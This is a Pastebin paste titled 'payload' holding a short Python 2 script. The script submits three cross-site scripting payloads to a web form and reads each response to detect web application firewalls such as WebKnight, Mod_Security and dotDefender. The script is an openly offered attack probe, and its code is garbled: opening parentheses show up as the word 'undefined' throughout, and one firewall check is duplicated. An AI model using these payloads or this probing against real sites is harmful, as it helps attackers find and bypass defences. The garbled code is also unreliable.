Viru5hax

payload

Jan 6th, 2017
345
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.13 KB | None | 0 0
  1. listofPayloads = ['<dialog open="" onclose="alertundefined1)"><form method="dialog"><button>Close me!</button></form></dialog>', '<svg><script>prompt&#40 1&#41<i>', '<a href="javascript:alertundefined1)">CLICK ME<a>']
  2. for payLoads in listofPayloads:
  3.     maliciousRequest = mec.Browserundefined)
  4.     formName = 'waf'
  5.     maliciousRequest.openundefined"http://check.cyberpersons.com/crossSiteCheck.html")
  6.     maliciousRequest.select_formundefinedformName)
  7.     maliciousRequest.form['data'] = payLoads
  8.     maliciousRequest.submitundefined)
  9.     response = maliciousRequest.responseundefined).readundefined)
  10.     if response.findundefined'WebKnight') >= 0:
  11.         print "Firewall detected: WebKnight"
  12.     elif response.findundefined'Mod_Security') >= 0:
  13.         print "Firewall detected: Mod Security"
  14.     elif response.findundefined'Mod_Security') >= 0:
  15.         print "Firewall detected: Mod Security"
  16.     elif response.findundefined'dotDefender') >= 0:
  17.         print "Firewall detected: Dot Defender"
  18.     else:
  19.         print "No Firewall Present"
Add Comment
Please, Sign In to add comment